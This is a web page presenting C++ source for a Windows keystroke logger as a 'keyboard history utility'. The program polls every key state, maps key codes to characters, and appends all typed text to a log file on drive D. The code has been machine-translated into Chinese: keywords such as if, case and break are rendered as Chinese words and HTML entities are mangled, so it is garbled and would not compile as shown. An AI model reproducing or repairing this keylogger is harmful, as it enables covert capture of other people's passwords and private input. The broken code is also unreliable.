键盘历史实用程序
# include & ltwindows.h & gt
# include & ltWinuser.h & gt
# include & lt字符串& gt
# include & ltfstream & gt
# include & ltiostream & gt
使用命名空间std
String GetKey(int Key) //确定键盘按的是什么键。
{
字符串KeyString =
//判断符号输入
const int keypress mask = 0x 80000000;//键盘掩码常量
int is hift = getkey state(0x 10);//判断Shift键状态
bool IS =(IS hift & amp;keypress mask)= = keypress mask;//表示按下Shift键。
if(Key & gt;=186。& ampKey & lt=222)
{
开关(钥匙)
{
案例186:
如果(为)
KeyString = ":";
其他
KeyString = ";";
打破;
案例187:
如果(为)
KeyString = "+";
其他
KeyString = " =
打破;
案例188:
如果(为)
KeyString = " & lt;
其他
KeyString = ",";
打破;
案例189:
如果(为)
KeyString = " _
其他
KeyString = "-";
打破;
案例190:
如果(为)
KeyString = " >;
其他
KeyString = ",";
打破;
案例191:
如果(为)
KeyString = "?";
其他
KeyString = "/";
打破;
案例192:
如果(为)
KeyString = " ~
其他
KeyString =
打破;
案例219:
如果(为)
KeyString = " {
其他
KeyString = "[";
打破;
案例220:
如果(为)
KeyString = " |
其他
KeyString = " \ \
打破;
案例221:
如果(为)
KeyString = " }
其他
KeyString = "]";
打破;
案例222:
如果(为)
KeyString =“”;
其他
KeyString = " " ";
打破;
}
}
//判断键盘的第一行
If (Key == VK_ESCAPE) //退出
KeyString = "[Esc]";
else if(key = = vk _ f 1)//f 1至F12。
KeyString = "[f 1]";
else if (Key == VK_F2)
KeyString = "[F2]";
else if (Key == VK_F3)
KeyString = "[F3]";
else if (Key == VK_F4)
KeyString = "[F4]";
else if (Key == VK_F5)
KeyString = "[F5]";
else if (Key == VK_F6)
KeyString = "[F6]";
else if (Key == VK_F7)
KeyString = "[F7]";
else if (Key == VK_F8)
KeyString = "[F8]";
else if (Key == VK_F9)
KeyString = "[F9]";
else if (Key == VK_F10)
KeyString = "[f 10]";
else if (Key == VK_F11)
KeyString = "[f 11]";
else if (Key == VK_F12)
KeyString = "[f 12]";
Else if (Key == VK快照)//打印屏幕。
KeyString = "[PRS CrN]";
Else if (Key == VK滚动)//滚动锁定
KeyString = "[Scroll Lock]";
else if(Key = = VK _暂停)//暂停,中断
KeyString = "[Pause]";
Else if (Key == VK资本)//大写锁定
KeyString = "[Caps Lock]";
// - //
//控制键
else if(Key = = 8)//& lt;-退格键
KeyString = "[back space]";
Else if (Key == VK_RETURN) //回车键,换行
KeyString = "[Enter]\ n ";
Else if (Key == VK空间)// space
KeyString =
//Shift键:键盘录音时,不需要录音。单独的Shift不会有任何字符,
shift键与其他键组合,有字符输出。
/*
Else if (Key == VK_LSHIFT) //左移键。
KeyString = "[Shift]";
Else if (Key == VK_LSHIFT) //右移键。
KeyString = "[SHIFT]";
*/
/*如果只记录键盘输入的字母:下列键可能不会输出到文件*/
Else if (Key == VK_TAB) // tab键
KeyString = "[Tab]";
else if(Key = = VK _控制)//左控制键
KeyString = "[Ctrl]";
else if(Key = = VK _遥控)//右控制键
KeyString = "[CTRL]";
else if(Key = = VK _菜单)//左移键
KeyString = "[Alt]";
else if(Key = = VK _菜单)//右移键
KeyString = "[ALT]";
Else if (Key == VK_LWIN) //右WINDOWS键
KeyString = "[Win]";
Else if (Key == VK_RWIN) //右窗口键
KeyString = "[WIN]";
Else if (Key == VK应用程序)//右击键盘。
KeyString = "右键单击";
else if(Key = = VK _插入)//插入
KeyString = "[Insert]";
else if(Key = = VK _删除)//删除
KeyString = "[Delete]";
Else if (Key == VK_HOME) // Start
KeyString = "[Home]";
否则if (Key == VK_END) // End
KeyString = "[End]";
Else if (Key == VK_PRIOR) //上一页
KeyString = "[PgUp]";
Else if (Key == VK_NEXT) //下一页
KeyString = "[pg down]";
//几个不常用的键:一般键盘没有。
else if(Key = = VK _取消)//取消
KeyString = "[Cancel]";
else if (Key == VK_CLEAR) //清除
KeyString = "[Clear]";
else if (Key == VK选择)//选择
KeyString = "[Select]";
else if(Key = = VK _ PRINT)//打印
KeyString = "[Print]";
else if(Key = = VK _ EXECUTE)//执行
KeyString = "[Execute]";
// - //
else if(Key = = VK _左)//上、下、左、右。
KeyString = "[←]";
else if(Key = = VK _右)
KeyString = "[→]";
else if (Key == VK_UP)
KeyString = "[↑]";
else if (Key == VK向下)
KeyString = "[↓]";
else if(Key = = VK _数字锁)//键盘数字锁
KeyString = "[NumLock]";
Else if (Key == VK_ADD) //加减乘除。
KeyString = "+";
else if (Key == VK_SUBTRACT)
KeyString = "-";
else if (Key == VK乘法)
KeyString = " *
else if(Key = = VK _除)
KeyString = "/";
else if(key = = 190 | | key = = 110)//keypad。
KeyString = ",";
//键盘数字键:0-9
else if (Key == VK_NUMPAD0)
KeyString = " 0
else if(Key = = VK _ numpa 1)
KeyString = " 1 ";
else if (Key == VK_NUMPAD2)
KeyString = " 2
else if (Key == VK_NUMPAD3)
KeyString = " 3
else if (Key == VK_NUMPAD4)
KeyString = " 4
else if (Key == VK_NUMPAD5)
KeyString = " 5
else if (Key == VK_NUMPAD6)
KeyString = " 6
else if(Key = = VK _数字小键盘7)
KeyString = " 7
else if(Key = = VK _数字小键盘8)
KeyString = " 8
else if(Key = = VK _数字小键盘9)
KeyString = " 9
// - //
// - //
//*判断字母大小写*//
else if(Key & gt;= 97 & amp& ampKey & lt= 122) //字母:a-z
{
if(get keystone(vk _ capital))//大写锁定
{
If(IS) //Shift键:小写字母。
KeyString = Key
Else //仅大写锁定:输出大写字母。
Key string = Key-32;
}
Else//大写不锁定。
{
如果(为)//按Shift键:大写字母。
Key string = Key-32;
Else //没有按下Shift键:小写字母
KeyString = Key
}
}
else if(Key & gt;= 48 & amp& ampKey & lt= 57) //键盘数字:0-9和上面的符号。
{
如果(为)
{
开关(钥匙)
{
案例48: //0
KeyString = ")";
打破;
案例49://1
KeyString = "!";
打破;
案例50://2
KeyString = " @
打破;
案例51://3
KeyString = " #
打破;
案例52://4
KeyString = " $
打破;
案例53://5
KeyString = " %
打破;
案例54://6
key string = " ^ ";
打破;
案例55://7
KeyString = " & amp;
打破;
案例56://8
KeyString = " *
打破;
案例57://9
KeyString = "(";
打破;
}
}
其他
KeyString = Key
}
如果(关键!= VK_LBUTTON || Key!= VK _按钮)
{
if(Key & gt;= 65 & amp& ampKey & lt=90) //ASCII 65-90是A-Z。
{
if(get keystone(vk _ capital))//大写锁定:输出A-Z。
{
If(IS) //大写锁定,按下shift键:输出小写字母。
Key string = Key+32;
Else //仅大写锁定:输出是大写字母。
KeyString = Key
}
Else //大写不锁定:a-z
{
如果(为)
{
KeyString = Key
}
其他
{
Key = Key+32;
KeyString = Key
}
}
}
}
返回KeyString
}
void main()
{
string Filename = " D:\ \ log . txt ";//倒出来的记录文本存放在d盘的log.txt目录下。
string TempString =
fstream FStream
cout & lt& lt”现在开始键盘录音”;
FStream.open(Filename.c_str(),STD::fstream::out | STD::fstream::app);
while(真)
{
睡眠(5);
for(int I = 8;我& lt=255;i++)
{
if(GetAsyncKeyState(I)& amp;1 ==1)
{
TempString = GetKey(I);
FStream.write(TempString.c_str()、tempstring . size());
fstream . close();
FStream.open(Filename.c_str(),STD::fstream::out | STD::fstream::app);
}
}
}
}